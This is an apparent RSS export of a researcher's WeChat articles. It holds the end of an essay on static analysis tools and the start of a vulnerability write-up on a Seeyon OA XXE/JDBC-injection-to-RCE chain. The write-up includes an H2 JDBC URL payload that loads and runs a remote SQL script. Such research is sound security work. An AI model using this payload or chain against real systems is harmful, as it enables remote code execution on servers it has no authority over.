class="code-snippet_outer"><span class="code-snippet__attr">echo</span> =&gt; <span class="code-snippet__variable">$_GET</span>.is_filterxss</span></code></pre></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达。</span></p></section><section data-role="paragraph"><section data-language="plain" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">select</span> * <span class="code-snippet__selector-tag">where</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attribute">Source </span>: $_GET,</span></code><code><span class="code-snippet_outer">    Sink : echo,</span></code><code><span class="code-snippet_outer">    is_filterxss : False,</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">通过构造满足条件的语句，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，QL其实更接近一个概念，他鼓励将信息流具象化，这样我们就可以用更通用的方式去写规则筛选。</span><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">CodeQL类的工具(包括Checkmarx</span><span style="font-size:15px;">等等)其实就是类似的一个基础理念，通过封装底层的代码处理逻辑，并提供一个非常易用的上层平台给用户，用户可以不用了解复杂的编译原理就可以编写漏洞的规则。</span></p><p><br/></p><p><span style="font-size:15px;">但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。</span></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><h3 data-pm-slice="1 1 []" style="font-size:17px;"><strong><span style="font-size: 15px;">基于工具化的框架 - Joern</span></strong></h3></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern</span><span style="font-size:15px;">就走了另一条路，就是工具化。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">Joern的底层原理是一套基于AST生成的通用CPG(Code Property Graph)图，在图的上层实现了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。</span></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000584" data-ratio="0.562962962962963" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=63d75ee0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7nicNiaM21ZAaswTcEFggroibPnKZ8snsxibtcicaRyQtgsTowVMAcUgXX7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定位成了安全研究员用于代码分析的一个工具，而不是执着于用一个按钮一个规则扫描漏洞，而是提供了人和代码的桥梁。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">在Joern里，我用的比较多，也是比较常见的一个场景就是寻找某个方法的调用关系。在Joern shell当中，你可以用非常简单的方法获取某个函数的调用位置，已经调用了该函数的函数。</span></p><p><span style="font-size:15px;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000583" data-ratio="0.5416666666666666" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8ffc54db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7egYMIQx5zicjBQ3mXuRPHO6WTZwPTJQJr8OKQPiavAA0h2R1A76j0Auw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">所以在Joern当中，你可以忽略数据流分析，而是用一些非常简单的交互式命令来辅助，在Joern你可以非常简单的获取&#34;调用了A方法的路由入口&#34;，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">当然，Joern在某些方面是成也工具化败也工具化，cpg本身强调调用关系和引用关系，Joern shell后端引用scala易用性有余实用性不足，你几乎很难在Joern的上层做数据流分析层面的分析。</span></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="title" data-tools="135编辑器" data-id="110084"><section style="margin:10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="display: flex;justify-content: center;align-items: center;margin-top: 4px;margin-right: -5px;"><section style="width: auto;height: 37px;background-image: linear-gradient(to right, rgb(31, 73, 125), rgb(31, 73, 125));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-width: 0px;border-style: solid none solid solid;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="font-size: 16px;letter-spacing: 1.5px;color: #fff;line-height: 37px;"><strong>三</strong></section></section><section style="width: auto;height: 37px;background-color: rgb(255, 255, 255);border-width: 0px;border-style: solid solid solid none;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="letter-spacing: 1.5px;color: #1f497d;line-height: 37px;"><strong>总 结</strong></section></section></section></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为对于静态分析的底层原理来说用什么技术已经没什么很大的意义了，说到底原理都是差不多的。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">商业代码分析的软件包括Checkmarx、Fortify等等，再到后来的CodeQL说到底其实都是技术长期积累的技术壁垒，很多问题也不是学术上的什么难点攻破。</span></p><p><br/></p><p><span style="font-size:15px;">而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的</span><span style="font-size:15px;">Joern、tabby、tai-e，其实技术原理上的东西大同小异，说到底</span><span style="font-size:15px;">就是还没有足够好用的产品出来，大多代码分析的软件还停留在某个底层技术的应用上。</span></p><p><br/></p><p><span style="font-size:15px;">而代码分析工具本身的易用性和场景化遇到的问题在我看来问题更大，即便是商业化程度非常</span><span style="font-size:15px;">高的Checkmarx这种软件也没法非常简单直白的接入到devsecops流程当</span><span style="font-size:15px;">中，很多工具甚至都解决不了高误报率和扫描效率低的问题，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走。</span></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="title" data-tools="135编辑器" data-id="110084"><section style="margin:10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="display: flex;justify-content: center;align-items: center;margin-top: 4px;margin-right: -5px;"><section style="width: auto;height: 37px;background-image: linear-gradient(to right, rgb(31, 73, 125), rgb(31, 73, 125));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-width: 0px;border-style: solid none solid solid;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="font-size: 16px;letter-spacing: 1.5px;color: #fff;line-height: 37px;"><strong>四</strong></section></section><section style="width: auto;height: 37px;background-color: rgb(255, 255, 255);border-width: 0px;border-style: solid solid solid none;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="letter-spacing: 1.5px;color: #1f497d;line-height: 37px;"><strong>参考链接</strong></section></section></section></section></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">1、</span><span style="font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://checkmarx.com/" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href="">checkmarx</a></span></p></section><section data-role="paragraph"><p><span style="font-size: 15px;">2、</span><span style="font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://joern.io/" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href="">joern</a></span></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []" style="text-align: left;"><span style="font-size: 15px;">3、</span><span style="font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://www.microfocus.com/zh-cn/cyberres/application-security/static-code-analyzer" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href="">fortify</a></span></p></section><section data-role="paragraph"><p><span style="font-size: 15px;">4、</span><span style="font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://github.com/wh1t3p1g/tabby" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href=""><a href="https://github.com/wh1t3p1g/tabby" target="_blank">https://github.com/wh1t3p1g/tabby</a></a></span></p></section><section data-role="paragraph"><p><span style="font-size: 15px;">5、</span><span style="caret-color: red;font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://github.com/pascal-lab/Tai-e" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href=""><a href="https://github.com/pascal-lab/Tai-e" target="_blank">https://github.com/pascal-lab/Tai-e</a></a></span></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="splitline" data-tools="135编辑器" data-id="117183"><section style="margin: 20px auto;"><section style="padding-bottom: 12px;"><section style="display: flex;justify-content: center;"><section style="background-color: rgb(255, 255, 255);display: flex;align-items: center;padding-right: 15px;padding-left: 15px;"><section style="flex-shrink: 0;"><section style="width: 10px;height: 17px;background-color: rgb(31, 73, 125);overflow: hidden;transform: skew(-10deg);"><br/></section></section><section style="flex-shrink: 0;margin-left: 5px;"><section style="width: 10px;height: 17px;background-color: rgb(255, 223, 71);overflow: hidden;transform: skew(-10deg);"><br/></section></section><section style="flex-shrink: 0;margin-left: 5px;"><section style="width: 10px;height: 17px;background-color: rgb(31, 73, 125);overflow: hidden;transform: skew(-10deg);"><br/></section></section></section></section><section style="width: 100%;height: 1px;background-color: rgb(31, 73, 125);margin-top: -10px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p style="text-align:center;"><span style="color: rgb(36, 41, 46);font-size: 15px;font-variant-ligatures: no-common-ligatures;text-align: left;line-height: 1.6em;font-family: sans-serif, EmojiSymbols;">【版权说明】</span></p><p style="text-align:center;"><span style="caret-color: red;color: rgb(36, 41, 46);font-size: 15px;font-variant-ligatures: no-common-ligatures;text-align: left;line-height: 1.6em;font-family: sans-serif, EmojiSymbols;">本作品著作权归<strong>LoRexxar</strong>所有</span></p><p style="text-align:center;"><span style="color: rgb(36, 41, 46);font-size: 15px;font-variant-ligatures: no-common-ligatures;text-align: left;caret-color: red;font-family: sans-serif, EmojiSymbols;">未经作者同意，不得转载</span></p></section><section data-tools="135编辑器" data-id="130123"><section style="margin: 10px auto;border-width: 1px;border-style: solid;border-color: rgb(31, 73, 125);padding: 5px;"><section style="background-color: rgb(245, 250, 255);padding: 20px 10px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="width: 40%;max-width: 40% !important;" data-width="40%"><section style="width: 145px;margin-right: auto;margin-left: auto;" data-width="145px"><img class="rich_pages wxw-img" data-imgfileid="100000582" data-ratio="1" width="100%" data-type="jpeg" data-w="200" data-width="100%" style="width: 100%;display: block;vertical-align: inherit;margin-left: -10px;" title="头像.png" src="https://wechat2rss.xlab.app/img-proxy/?k=b372a533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7ocbYnXcAQqN6oXEHNW6nXMUq3dxYlfiaGXfWvjGM1OGmNRLeg6hTRibQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section><section style="width: 60%;max-width: 60% !important;" data-width="60%"><section style="display: flex;border-left: 5px solid rgb(251, 193, 46);padding-left: 3px;margin-bottom: 10px;"><section style="font-size: 16px;color: rgb(255, 255, 255);padding-right: 10px;padding-left: 10px;background-color: rgb(31, 73, 125);display: flex;align-items: center;"><strong data-brushtype="text" style="text-align: left;">LoRexxar</strong></section><section style="flex-shrink: 0;display: flex;align-items: flex-end;"><section style="width: 0px;height: 1px;border-bottom: 33px solid rgb(54, 96, 146);border-right: 15px solid transparent;overflow: hidden;"><br/></section></section></section><p style="text-align:left;font-size: 14px;color: #3e3e3e;letter-spacing: 1.5px;line-height: 1.75em;">天工实验室安全研究员</p><p style="text-align:left;font-size: 14px;color: #3e3e3e;letter-spacing: 1.5px;line-height: 1.75em;">Vidar-Team，KunLun-M作者，长期从事白盒审计、静态分析、安全自动化相关领域研究</p></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="109089"><section style="margin: 10px auto;"><section style="display: flex;align-items: center;"><section style="width: 50px;"><img class="rich_pages wxw-img" data-imgfileid="100000585" data-ratio="1.146341463414634" style="vertical-align: inherit;width: 100%;display: block;" data-w="82" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=015f714c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FoJZWTpJpiae90UpibicIKeZgQTNjebiaOwStfe6MJ5J6RC7F9JDFdX2kaEwibFz7GewNtNyDek6SdENJrXjf0KXA2kg%2F640%3Fwx_fmt%3Dpng"/></section><section style="color: rgb(31, 75, 149);font-size: 14px;line-height: 1.75em;border-bottom: 2px solid rgb(31, 75, 149);width: 100%;margin-left: -30px;" data-width="100%"><strong data-brushtype="text">点击下方的卡片关注我们吧！</strong></section></section></section></section><section data-role="paragraph"><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzk0OTU2ODQ4Mw==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/9EP6QFMcTmSHUpXdLjyHlic7wYAWkWIDfjFjCgcUNqMQP2VsDMIhC5tZSudWia4aSlpTBGTDGGSlE0rc3k6Pfjibw/0?wx_fmt=png" data-nickname="破壳平台" data-alias="TianGong_Lab" data-signature="破壳平台@奇安信天工实验室（poc.qianxin.com），聚焦真实世界漏洞分析，提供基于查询、面向团队协作的漏洞辅助分析能力。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section></section></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/12/18/sast2024/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3e6f3042&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484216%26idx%3D1%26sn%3D3ee87eabb84f5dff0ba3ac9d62711e08%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 25 Dec 2023 10:06:00 +0800</pubDate>
    </item>
    <item>
      <title>Joern In RealWorld (3) - 致远OA A8 SSRF2RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484214&amp;idx=1&amp;sn=bb2eb8ddb9a1ef223612eea0aa393bec</link>
      <description>这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，下面我们尽可能的复现漏洞和探索Joern的可能性</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-11-21 18:04</span> <span style="display: inline-block;">北京</span>
</p>

<p>这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，下面我们尽可能的复现漏洞和探索Joern的可能性</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=46d382a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2sFqAvhTk0JJG566GSrFcrfibThwOUiceQBXIeczrHaQZK20rIlFPPnrA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard source="https%3A%2F%2Fwww.yuque.com%2Florexxar%2Fmdko6t%2Fdz5zqwg3kk4gmh9e%2Fedit%23HXnsz"></ne-clipboard><span style="font-size: 15px;"><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">致远OA是国内最有名的OA系统之一</strong><span style="letter-spacing: 0.034em;">，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。</span></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">这篇文章的漏洞源于下面这篇文章，文章中提到<strong>该漏洞影响</strong><strong>A8, A8+, A6等多个版本</strong>，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><a href="https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&amp;mid=2247486210&amp;idx=1&amp;sn=c00e179f044fe89605b46fd6a5e037c8&amp;scene=21#wechat_redirect" data-href="https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&amp;mid=2247486210&amp;idx=1&amp;sn=c00e179f044fe89605b46fd6a5e037c8&amp;scene=21#wechat_redirect" target="_blank" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA</span></a></p></li></ul><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">漏洞原理</h1><p style="min-height: 24px;"><span style="font-size: 15px;">先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>致远oa 前台XXE漏洞</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>致远oa S1服务 后台jdbc注入</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>H2 jdbc注入导致RCE</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>致远oa S1服务 后台用户密码重置导致的鉴权绕过</strong></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">我们分开讨论这部分</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">致远oa前台xxe漏洞</h2><p style="min-height: 24px;"><span style="font-size: 15px;">首先我必须得说，<strong>这部分内容涉及到的代码我找了很多个版本的源码都没有找到</strong>，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">我觉得最神奇的点在于，这个漏洞如果<strong>仅按照原文提及的部分，漏洞原理及其简单</strong>，而且是一个比较<strong>标准的xxe漏洞</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">private List&lt;Element&gt; getNodes(String xmlString, String xpath) {<br/>    ArrayList tmpList = null;<br/>    try {<br/>        SAXReader saxReader = new SAXReader();<br/>        Reader xml_sr = new StringReader(xmlString);<br/>        saxReader.setEncoding(&#34;UTF-8&#34;);<br/>        Document document = saxReader.read(xml_sr);<br/>        if (document.getRootElement() == null) {<br/>            throw new KgException(new KgCommonsError(&#34;XmlParser Object hasn&#39;t RootElement.&#34;, KgCommonsError.SYSTEM_ERROR.getCode()));<br/>        } else {<br/>            List&lt;?&gt; contexts = document.selectNodes(xpath);<br/>            tmpList = new ArrayList();<br/>            for(int i = 0; i &lt; contexts.size(); ++i) {<br/>                if (contexts.get(i) instanceof Element) {<br/>                    tmpList.add((Element)contexts.get(i));<br/>                }<br/>            }<br/>            return tmpList;<br/>        }<br/>    }</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>可控参数</strong><strong>xmlValue，直接解base64然后就进xxe</strong>造成漏洞。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>漏洞来自于某个部署时使用到的额外服务或者插件</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>这个xxe漏洞是个第三方组件问题</strong>，需要其他条件入口，原文不想提到这个入口所以没有写</span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">致远oa S1服务 后台jdbc注入</h2><p style="min-height: 24px;"><span style="font-size: 15px;">在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套<strong>S1服务</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了<strong>这套系统是一套独立的系统。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController</span></code><span style="font-size: 15px;">可以找到对应的</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">testDBConnect</span></code><span style="font-size: 15px;">方法</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000531" data-ratio="0.4140386571719227" width="688.8181762695312" data-type="png" data-w="983" src="https://wechat2rss.xlab.app/img-proxy/?k=acbe6971&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2tK1Okmqa9f8FJO1CITfr20yjzetKx7euvdefQxxwaFLocEJn2jqVSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">可以关注到相比原文当中的截图，现在加入了<strong>对h2数据库连接的限制</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">params.put(&#34;dbUrl&#34;, dbUrl);<br/>if (dbUrl.startsWith(&#34;jdbc:h2&#34;))<br/>  return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), &#34;, null);</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">继续跟进到</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">testDBConnect</span></code><span style="font-size: 15px;">中</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000533" data-ratio="0.9823899371069182" width="555.3622131347656" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=23f4cf20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2Ya8jKWD0FWC1nibAHwBeic2nfjpG7ia2hV7ib0WQA4vib68rOUnAHKbLnbw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">从这里可以找到可以<strong>根据dburl前缀自由连接远程jdbc</strong>的方法，并允许<strong>自定义链接驱动类</strong></span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">H2 jdbc注入导致RCE</h2><p style="min-height: 24px;"><span style="font-size: 15px;">这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到<strong>jdbc注入</strong>之后就是<strong>利用方式</strong>的问题了，但这里还是顺带提一下。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>关于jdbc的注入后利用方式</strong>其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://paper.seebug.org/1832/" target="_blank">https://paper.seebug.org/1832/</a></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://www.anquanke.com/post/id/203086" target="_blank">https://www.anquanke.com/post/id/203086</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">其实jdbc可控<strong>后续导致的二次利用方案相当复杂</strong>，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>需要相应的配置参数才能命令执行</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>由于不支持多行语句，需要找到能在单行里执行命令的方法</strong></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>H2的攻击利用的是Spring Boot H2 console的一个特性</strong>，通过控制h2数据库的连接url，我们可以迫使spring boot去<strong>加载远程的sql脚本并执行命令</strong>，类似下面这样的请求</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#39;<a href="http://127.0.0.1:8000/poc.sql" target="_blank">http://127.0.0.1:8000/poc.sql</a>&#39;</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">而这样的请求需要<strong>如下的参数</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">spring.h2.console.enable=true<br/>spring.h2.console.setting.web-allow-others=true</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">我们简单的看下源码</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">org.h2.engine.Engine#openSession</span></code><span style="font-size: 15px;">中，发起连接是可以<strong>通过INIT关键字来影响初始化数据库连接的配置</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000530" data-ratio="0.2770352369380316" width="720.0908813476562" data-type="png" data-w="823" src="https://wechat2rss.xlab.app/img-proxy/?k=1f54149f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2y504AYpzJFeqOALt0Oeyic4y8XibByOJ8Nxrafem5ujL3Kap20B2I32A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000532" data-ratio="0.3251612903225806" width="722.272705078125" data-type="png" data-w="775" src="https://wechat2rss.xlab.app/img-proxy/?k=114fbd49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2PlXwPvdcibTd2bIrunmo3aFhwJ8Cl5QMhjg35X7p71LQ6fmmzkV5mkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 